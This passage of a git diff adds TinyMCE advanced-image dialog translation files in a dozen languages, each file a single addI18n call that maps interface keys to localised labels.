\u10db\u10d8\u10e3\u10ec\u10d5\u10d3\u10dd\u10db\u10d4\u10da\u10d8.","example_img":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",misc:"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",mouseout:"\u10e1\u10d8\u10db\u10e8\u10d5\u10d8\u10d3\u10d4\u10e8\u10d8",mouseover:"\u10d9\u10e3\u10e0\u10e1\u10dd\u10e0\u10d8\u10e1 \u10db\u10d8\u10e7\u10d5\u10d0\u10dc\u10d8\u10e1\u10d0\u10e1","alt_image":"\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0","swap_image":"\u10d3\u10d8\u10dc\u10d0\u10db\u10d8\u10e3\u10e0\u10d8 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0",map:"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e0\u10e3\u10e5\u10d0",id:"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0",rtl:"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10e1\u10dc\u10d8\u10d5",ltr:"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",classes:"\u10d9\u10da\u10d0\u10e1\u10d4\u10d1\u10d8",style:"\u10e1\u10e2\u10d8\u10da\u10d8","long_desc":"\u10d1\u10db\u10e3\u10da\u10d8 \u10e1\u10e0\u10e3\u10da \u10d0\u10e6\u10ec\u10d4\u10e0\u10d0\u10d6\u10d4",langcode:"\u10d4\u10dc\u10d8\u10e1 \u10d9\u10dd\u10d3\u10d8",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0","constrain_proportions":"\u10de\u10e0\u10dd\u10de\u10dd\u10e0\u10ea\u10d8\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0",preview:"\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0 \u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10d4\u10e0\u10d4\u10d1\u10d0",title:"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",general:"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","tab_advanced":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7","tab_appearance":"\u10db\u10d3\u10d2\u10dd\u10db\u10d0\u10e0\u10d4\u10dd\u10d1\u10d0","tab_general":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/ko_dlg.js b/js/tiny_mce2/plugins/advimage/langs/ko_dlg.js new file mode 100755 index 0000000..67649a8 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advimage_dlg',{"image_list":"\uc774\ubbf8\uc9c0 \ubaa9\ub85d","align_right":"\uc6b0","align_left":"\uc88c","align_textbottom":"\ubb38\uc790\uc5f4 \uc544\ub798\ub85c","align_texttop":"\ubb38\uc790\uc5f4 \uc704\ub85c","align_bottom":"\ud558","align_middle":"\uc911\uc559","align_top":"\uc0c1","align_baseline":"\uae30\uc900\uc120",align:"\uc815\ub82c",hspace:"\uc88c\uc6b0 \uc5ec\ubc31",vspace:"\uc0c1\ud558 \uc5ec\ubc31",dimensions:"\ud06c\uae30",border:"\ud14c\ub450\ub9ac\uc120",list:"\uc774\ubbf8\uc9c0 \ubaa9\ub85d",alt:"\uc774\ubbf8\uc9c0 \uc124\uba85",src:"\uc774\ubbf8\uc9c0 URL","dialog_title":"\uc774\ubbf8\uc9c0\uc758 \uc0bd\uc785/\ud3b8\uc9d1","missing_alt":"\uc774\ubbf8\uc9c0 \uc124\uba85\uc774 \uc5c6\uc2b5\ub2c8\ub2e4\ub9cc \uc88b\uc2b5\ub2c8\uae4c? \uc774\ubbf8\uc9c0 \uc124\uba85\uc774 \uc5c6\ub294 \uacbd\uc6b0, \ub9f9\uc778\uc774\ub098 \ud14d\uc2a4\ud2b8 \ube0c\ub77c\uc6b0\uc800\ub97c \uc774\uc6a9\ud558\uace0 \uc788\ub294 \ubd84, \ub610 \uc774\ubbf8\uc9c0 \ud45c\uc2dc\ub97c OFF(\uc73c)\ub85c \ud558\uace0 \uc788\ub294 \uc720\uc800\uc758 \uc811\uadfc\uc131\uc774 \uc800\ud558\ub429\ub2c8\ub2e4.","example_img":"\ubbf8\ub9ac\ubcf4\uae30 \uc774\ubbf8\uc9c0",misc:"\uadf8 \uc678",mouseout:"\ub9c8\uc6b0\uc2a4 \uc544\uc6c3 \uc774\ubbf8\uc9c0",mouseover:"\ub9c8\uc6b0\uc2a4 \uc624\ubc84 \uc774\ubbf8\uc9c0","alt_image":"\ub300\uccb4 \uc774\ubbf8\uc9c0","swap_image":"\ub864 \uc624\ubc84 \ud6a8\uacfc",map:"\uc774\ubbf8\uc9c0 \ub9f5",id:"Id",rtl:"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd",ltr:"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd",classes:"\ud074\ub798\uc2a4",style:"\uc2a4\ud0c0\uc77c","long_desc":"\uc124\uba85 \ub9c1\ud06c",langcode:"\uc5b8\uc5b4 \ucf54\ub4dc",langdir:"\ubb38\uc790 \ubc29\ud5a5","constrain_proportions":"\uc885\ud6a1\ube44 \ubcf4\uc874",preview:"\ubbf8\ub9ac\ubcf4\uae30",title:"\uc81c\ubaa9",general:"\uc77c\ubc18","tab_advanced":"\uace0\uae09","tab_appearance":"\ud45c\uc2dc","tab_general":"\uc77c\ubc18",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/lt_dlg.js b/js/tiny_mce2/plugins/advimage/langs/lt_dlg.js new file mode 100755 index 0000000..8f85e7a --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advimage_dlg',{"image_list":"Paveiksl\u0117li\u0173 s\u0105ra\u0161as","align_right":"De\u0161in\u0117je","align_left":"Kair\u0117je","align_textbottom":"Teksto apa\u010dioje","align_texttop":"Teksto vir\u0161uje","align_bottom":"Apa\u010dioje","align_middle":"Viduryje","align_top":"Vir\u0161uje","align_baseline":"Pradiniame ta\u0161ke",align:"Lygiavimas",hspace:"Horizontalus tarpas",vspace:"Vertikalus tarpas",dimensions:"I\u0161matavimai",border:"R\u0117melis",list:"Paveiksl\u0117li\u0173 s\u0105ra\u0161as",alt:"Paveiksl\u0117lio apra\u0161as",src:"Paveiksl\u0117lio URL adresas","dialog_title":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","missing_alt":"Ar norite t\u0119sti ne\u012fved\u0119 paveiksl\u0117lio apra\u0161o? Be apra\u0161o jo neatpa\u017eins \u017emon\u0117s su negalia, tie kurie naudoja tekstines nar\u0161ykles, arba tie, kurie nar\u0161o internet\u0105 i\u0161jung\u0119 paveiksl\u0117li\u0173 rodym\u0105.","example_img":"I\u0161vaizdos per\u017ei\u016bros paveiksl\u0117lis",misc:"\u012evair\u016bs",mouseout:"nuvedant pel\u0119",mouseover:"u\u017evedant pele","alt_image":"Alternatyvus paveiksl\u0117lis","swap_image":"Sukeisti paveiksl\u0117l\u012f",map:"Paveiksl\u0117lio planas",id:"Id",rtl:"I\u0161 de\u0161in\u0117s \u012f kair\u0119",ltr:"I\u0161 kair\u0117s \u012f de\u0161in\u0119",classes:"Klas\u0117s",style:"Stilius","long_desc":"Ilgo apra\u0161o nuoroda",langcode:"Kalbos kodas",langdir:"Kalbos teksto kryptis","constrain_proportions":"Priverstin\u0117s proporcijos",preview:"Per\u017ei\u016bra",title:"Pavadinimas",general:"Bendra","tab_advanced":"I\u0161pl\u0117sta","tab_appearance":"I\u0161vaizda","tab_general":"Bendra",width:"Plotis",height:"Auk\u0161tis"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/nl_dlg.js b/js/tiny_mce2/plugins/advimage/langs/nl_dlg.js new file mode 100755 index 0000000..35538d3 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advimage_dlg',{"image_list":"Lijst","align_right":"Rechts","align_left":"Links","align_textbottom":"Onderkant tekst","align_texttop":"Bovenkant tekst","align_bottom":"Onder","align_middle":"Midden","align_top":"Boven","align_baseline":"Basislijn",align:"Uitlijning",hspace:"Horizontale ruimte",vspace:"Verticale ruimte",dimensions:"Afmetingen",border:"Rand",list:"Lijst",alt:"Beschrijving",src:"Bestand/URL","dialog_title":"Afbeelding invoegen/bewerken","missing_alt":"Wilt u de afbeelding zonder beschrijving invoegen? De afbeelding wordt dan mogelijk niet opgemerkt door mensen met een visuele handicap, of welke zonder afbeeldingen browsen.","example_img":"Voorbeeldweergave",misc:"Diversen",mouseout:"Bij muis uit",mouseover:"Bij muis over","alt_image":"Alternatieve afbeeldingen","swap_image":"Afbeelding wisselen",map:"Afbeeldingsplattegrond",id:"Id",rtl:"Van rechts naar links",ltr:"Van links naar rechts",classes:"Klasses",style:"Stijl","long_desc":"Uitgebreide beschrijving",langcode:"Taalcode",langdir:"Taalrichting","constrain_proportions":"Verhouding behouden",preview:"Voorbeeld",title:"Titel",general:"Algemeen","tab_advanced":"Geavanceerd","tab_appearance":"Weergave","tab_general":"Algemeen",width:"Breedte",height:"Hoogte"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/no_dlg.js b/js/tiny_mce2/plugins/advimage/langs/no_dlg.js new file mode 100755 index 0000000..b8227b4 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advimage_dlg',{"image_list":"Liste over bilder","align_right":"H\u00f8yre","align_left":"Venstre","align_textbottom":"Tekst bunn","align_texttop":"Tekst topp","align_bottom":"Bunn","align_middle":"Midtstilt","align_top":"Topp","align_baseline":"Basislinje",align:"Justering",hspace:"Horisontal avstand",vspace:"Vertikal avstand",dimensions:"Dimensjoner",border:"Ramme",list:"Bildeliste",alt:"Bildebeskrivelse",src:"Bilde URL","dialog_title":"Sett inn/editer bilde","missing_alt":"Er du sikker du vil fortsette uten \u00e5 sette inn bildebeskrivelse? Uten beskrivelse vil ikke bildet gi mening for enkelte funksjonshemmde eller personer som bruker nettleser med avsl\u00e5tt bildevising.","example_img":"Utseende forh\u00e5ndsvisning",misc:"Diverse",mouseout:"for musepeker utenfor",mouseover:"for musepeker over","alt_image":"Alternativt bilde","swap_image":"Bytt bilde",map:"Bildekart",id:"Id",rtl:"H\u00f8yre mot venstre",ltr:"Venstre mot h\u00f8yre",classes:"Klasse",style:"Stil","long_desc":"Lang beskrivelse",langcode:"Spr\u00e5k kode",langdir:"Skriftretning","constrain_proportions":"Behold proporsjoner",preview:"Forh\u00e5ndsvisning",title:"Tittel",general:"Generelt","tab_advanced":"Avansert","tab_appearance":"Utseende","tab_general":"Generelt",width:"Bredde",height:"H\u00f8yde"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/pl_dlg.js b/js/tiny_mce2/plugins/advimage/langs/pl_dlg.js new file mode 100755 index 0000000..c32f718 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.advimage_dlg',{"image_list":"Lista obrazk\u00f3w","align_right":"Prawy","align_left":"Lewy","align_textbottom":"Tekst dolny","align_texttop":"Tekst g\u00f3rny","align_bottom":"Dolny","align_middle":"\u015arodkowy","align_top":"G\u00f3rny","align_baseline":"G\u0142\u00f3wna linia",align:"Wyr\u00f3wnanie",hspace:"Odst\u0119p poziomy",vspace:"Odst\u0119p pionowy",dimensions:"Rozmiary",border:"Obramowanie",list:"Lista obrazk\u00f3w",alt:"Opis obrazka",src:"URL obrazka","dialog_title":"Wklej/edytuj obraz","missing_alt":"Czy jeste\u015b pewien, \u017ce chcesz kontynuowa\u0107 bez opisu obrazka? Obrazek bez opisu mo\u017ce nie by\u0107 dost\u0119pny dla u\u017cytkownik\u00f3w u\u017cywaj\u0105cych tekstowe przegl\u0105darki lub przegl\u0105daj\u0105cych stron\u0119 z wy\u0142\u0105czonymi obrazkami.","example_img":"Podgl\u0105d wygl\u0105du obrazka",misc:"R\u00f3\u017cne",mouseout:"dla mouseout",mouseover:"dla mouseover","alt_image":"alternatywny obrazek","swap_image":"Zamiana obrazka",map:"Mapa obrazu",id:"Id",rtl:"Z prawej do lewej",ltr:"Z lewej do prawej",classes:"Klasy",style:"Styl","long_desc":"D\u0142ugi opis linku",langcode:"Kod j\u0119zyka",langdir:"Kierunek j\u0119zyka","constrain_proportions":"Zachowaj proporcje",preview:"Podgl\u0105d",title:"Tytu\u0142",general:"Og\u00f3lne","tab_advanced":"Zaawansowane","tab_appearance":"Wygl\u0105d","tab_general":"Og\u00f3lne",width:"Szeroko\u015b\u0107",height:"Wysoko\u015b\u0107"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/pt_dlg.js b/js/tiny_mce2/plugins/advimage/langs/pt_dlg.js new file mode 100755 index 0000000..513319f --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.advimage_dlg',{"image_list":"Lista de imagens","align_right":"Direita","align_left":"Esquerda","align_textbottom":"Base do texto","align_texttop":"Topo do texto","align_bottom":"Abaixo","align_middle":"Meio","align_top":"Topo","align_baseline":"Sobre a linha de texto",align:"Alinhamento",hspace:"Espa\u00e7o horizontal",vspace:"Espa\u00e7o vertical",dimensions:"Dimens\u00f5es",border:"Limite",list:"Lista de imagens",alt:"Descri\u00e7\u00e3o da imagem",src:"Endere\u00e7o da imagem","dialog_title":"Inserir/editar imagem","missing_alt":"Tem certeza que deseja continuar sem acrescentar uma descri\u00e7\u00e3o \u00e0 imagem? (Isto pode gerar problemas de acessibilidade em alguns navegadores)","example_img":"Pr\u00e9-Visualiza\u00e7\u00e3o",misc:"Misto",mouseout:"mouseout",mouseover:"mouseover","alt_image":"Imagem alternativa","swap_image":"Trocar imagem",map:"Mapa de imagem",id:"Id",rtl:"Da direita para a esquerda",ltr:"Da esquerda para a direita",classes:"Classes",style:"Estilo","long_desc":"Descri\u00e7\u00e3o extensa",langcode:"C\u00f3digo do idioma",langdir:"Dire\u00e7\u00e3o do texto","constrain_proportions":"Manter propor\u00e7\u00f5es",preview:"Pr\u00e9-Visualiza\u00e7\u00e3o",title:"T\u00edtulo",general:"Geral","tab_advanced":"Avan\u00e7ado","tab_appearance":"Apar\u00eancia","tab_general":"Geral",width:"Largura",height:"Altura"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/ro_dlg.js b/js/tiny_mce2/plugins/advimage/langs/ro_dlg.js new file mode 100755 index 0000000..d8d4ef9 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.advimage_dlg',{"image_list":"List\u0103 de imagini","align_right":"Dreapta","align_left":"St\u00e2nga","align_textbottom":"Textul jos","align_texttop":"Textul sus","align_bottom":"Jos","align_middle":"La mijloc","align_top":"Sus","align_baseline":"Baseline",align:"Aliniere",hspace:"Spa\u021biu orizontal",vspace:"Spa\u021biu vertical",dimensions:"Dimensiuni",border:"Bordur\u0103",list:"List\u0103 imagini",alt:"Descriere imagine",src:"URL imagine","dialog_title":"Inserare/editare imagine","missing_alt":"Sigur vrei s\u0103 continui f\u0103r\u0103 s\u0103 introduci o descriere a imaginii? F\u0103r\u0103 aceasta, imaginea ar putea fi inaccesibil\u0103 anumitor utilizatori cu dizabilit\u0103\u021bi sau acelora care folosesc un navigator text sau cu imaginile dezactivate.","example_img":"Imagine mic\u0103",misc:"Diverse",mouseout:"Pentru maus \u00een afar\u0103",mouseover:"Pentru maus deasupra","alt_image":"Imagine alternativ\u0103","swap_image":"Schimb\u0103 imaginea",map:"Hart\u0103 imagine",id:"Id",rtl:"De la dreapta la st\u00e2nga",ltr:"De la st\u00e2nga la dreapta",classes:"Clase",style:"Stil","long_desc":"Descriere leg\u0103tur\u0103",langcode:"Cod limb\u0103",langdir:"Direc\u021bie limb\u0103","constrain_proportions":"Men\u021bine propor\u021biile",preview:"Previzualizare",title:"Titlu",general:"General","tab_advanced":"Avansat","tab_appearance":"Afi\u0219are","tab_general":"General",width:"L\u0103\u021bime",height:"\u00cen\u0103l\u021bime"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/ru_dlg.js b/js/tiny_mce2/plugins/advimage/langs/ru_dlg.js new file mode 100755 index 0000000..3b9e94d --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.advimage_dlg',{"image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438",align:"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",hspace:"\u0413\u043e\u0440\u0438\u0437. \u043e\u0442\u0441\u0442\u0443\u043f",vspace:"\u0412\u0435\u0440\u0442. \u043e\u0442\u0441\u0442\u0443\u043f",dimensions:"\u0420\u0430\u0437\u043c\u0435\u0440",border:"\u0413\u0440\u0430\u043d\u0438\u0446\u0430",list:"\u0421\u043f\u0438\u0441\u043e\u043a",alt:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",src:"\u0410\u0434\u0440\u0435\u0441","dialog_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f","missing_alt":"\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0431\u0435\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f? \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.","example_img":"\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",misc:"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b",mouseout:"\u0412 \u043f\u043e\u043a\u043e\u0435",mouseover:"\u041f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u0438\u0438","alt_image":"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","swap_image":"\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",map:"\u041a\u0430\u0440\u0442\u0430 \u0441\u0441\u044b\u043b\u043e\u043a",id:"\u0418\u043c\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",classes:"\u041a\u043b\u0430\u0441\u0441\u044b",style:"\u0421\u0442\u0438\u043b\u044c","long_desc":"\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","constrain_proportions":"\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",preview:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440",title:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",general:"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","tab_advanced":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","tab_appearance":"\u041f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435","tab_general":"\u041e\u0431\u0449\u0435\u0435",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u044b\u0441\u043e\u0442\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/sk_dlg.js b/js/tiny_mce2/plugins/advimage/langs/sk_dlg.js new file mode 100755 index 0000000..2be48c3 --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advimage_dlg',{"image_list":"Zoznam obr\u00e1zkov","align_right":"Vpravo","align_left":"V\u013eavo","align_textbottom":"So spodkom riadku","align_texttop":"S vrcholom riadku","align_bottom":"Dole","align_middle":"Na stred riadku","align_top":"Hore","align_baseline":"Na z\u00e1klad\u0148u",align:"Zarovnanie",hspace:"Horizont\u00e1lne odsadenie",vspace:"Vertik\u00e1lne odsadenie",dimensions:"Rozmery",border:"Or\u00e1movanie",list:"Zoznam obr\u00e1zkov",alt:"Popis obr\u00e1zku",src:"URL obr\u00e1zka","dialog_title":"Vlo\u017ei\u0165/upravi\u0165 obr\u00e1zok","missing_alt":"Naozaj chcete pokra\u010dova\u0165 bez vlo\u017een\u00e9ho popisu obr\u00e1zka? Bez popisu m\u00f4\u017ee by\u0165 obr\u00e1zok nepr\u00edstupn\u00fd u\u017e\u00edvate\u013eom so zrakov\u00fdm postihnut\u00edm, u\u017e\u00edvate\u013eom textov\u00fdch prehliada\u010dov alebo u\u017e\u00edvate\u013eom, ktor\u00ed maj\u00fa vypnut\u00e9 zobrazovanie obr\u00e1zkov.","example_img":"Pr\u00edklad obr\u00e1zka",misc:"R\u00f4zne",mouseout:"Po odjazden\u00ed my\u0161i",mouseover:"Pri nabehnut\u00ed my\u0161i","alt_image":"Alternat\u00edvny obr\u00e1zok","swap_image":"Prepnutie obr\u00e1zka",map:"Obr\u00e1zkov\u00e1 mapa",id:"ID",rtl:"Sprava do\u013eava",ltr:"Z\u013eava doprava",classes:"Triedy",style:"\u0160t\u00fdl","long_desc":"Dlh\u00fd popis",langcode:"K\u00f3d jazyka",langdir:"Smer textu","constrain_proportions":"Zachova\u0165 pomer str\u00e1n",preview:"N\u00e1h\u013ead",title:"Titulok",general:"Obecn\u00e9 parametre","tab_advanced":"Roz\u0161\u00edren\u00e9","tab_appearance":"Vzh\u013ead","tab_general":"Obecn\u00e9",width:"\u0160\u00edrka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/sl_dlg.js b/js/tiny_mce2/plugins/advimage/langs/sl_dlg.js new file mode 100755 index 0000000..b2e990d --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advimage_dlg',{"image_list":"Seznam slik","align_right":"desno, plavajo\u010de","align_left":"levo, plavajo\u010de","align_textbottom":"dno besedila","align_texttop":"vrh besedila","align_bottom":"dno","align_middle":"sredina","align_top":"vrh","align_baseline":"osnovna \u010drta",align:"Poravnava",hspace:"Prostor le/de",vspace:"Prostor zg/sp",dimensions:"Dimenzije",border:"Obroba",list:"Seznam slik",alt:"Opis slike",src:"Naslov URL slike","dialog_title":"Vstavi/uredi sliko","missing_alt":"Zares \u017eelite nadaljevati, brez da bi dolo\u010dili opis slike? Brez njega slika nekaterim uporabnikom ne bo na voljo (izklopljen prikaz slik, tekstni brskalnik ali ljudje s slab\u0161im vidom).","example_img":"Predogled izgleda",misc:"Razno",mouseout:"pri mi\u0161ki izven",mouseover:"pri mi\u0161ki nad","alt_image":"Nadomestna slika","swap_image":"Zamenjava slike",map:"Karta slike",id:"Id",rtl:"Od desne proti levi",ltr:"Od leve proti desni",classes:"Razredi",style:"Slog","long_desc":"Povezava do opisa",langcode:"Koda jezika",langdir:"Smer jezika","constrain_proportions":"Zakleni razmerje",preview:"Predogled",title:"Naslov",general:"Splo\u0161no","tab_advanced":"Napredno","tab_appearance":"Izgled","tab_general":"Splo\u0161no",width:"\u0160irina",height:"Vi\u0161ina"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/sv_dlg.js b/js/tiny_mce2/plugins/advimage/langs/sv_dlg.js new file mode 100755 index 0000000..af1e61c --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advimage_dlg',{"image_list":"Bildlista","align_right":"H\u00f6ger","align_left":"V\u00e4nster","align_textbottom":"Botten av texten","align_texttop":"Toppen av texten","align_bottom":"Botten","align_middle":"Mitten","align_top":"Toppen","align_baseline":"Baslinje",align:"Justering",hspace:"Horisontalrymd",vspace:"Vertikalrymd",dimensions:"Dimensioner",border:"Ram",list:"Bildlista",alt:"Bildens beskrivning",src:"Bildens URL","dialog_title":"Infoga/redigera bild","missing_alt":"Vill du forts\u00e4tta utan bildbeskrivning?\nIcke grafiska webbl\u00e4sare kommer inte att kunna tolka bilden f\u00f6r anv\u00e4ndaren.","example_img":"Exempelbild",misc:"\u00d6vrigt",mouseout:"vid musen utanf\u00f6r",mouseover:"vid musen ovanf\u00f6r","alt_image":"Alternativbild","swap_image":"Utbytningsbild",map:"L\u00e4nkkarta",id:"Id",rtl:"H\u00f6ger till v\u00e4nster",ltr:"V\u00e4nster till h\u00f6ger",classes:"Klasser",style:"Stil","long_desc":"L\u00e5ng beskrivning",langcode:"Spr\u00e5kkod",langdir:"Skriftriktning","constrain_proportions":"Bibeh\u00e5ll proportionerna",preview:"F\u00f6rhandsvisning",title:"Titel",general:"Generellt","tab_advanced":"Avancerat","tab_appearance":"Utseende","tab_general":"Generellt",width:"Bredd",height:"H\u00f6jd"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advimage/langs/th_dlg.js b/js/tiny_mce2/plugins/advimage/langs/th_dlg.js new file mode 100755 index 0000000..f8dff4f --- /dev/null +++ b/js/tiny_mce2/plugins/advimage/langs/th_dlg.js @@ -0,0 +1 @@ 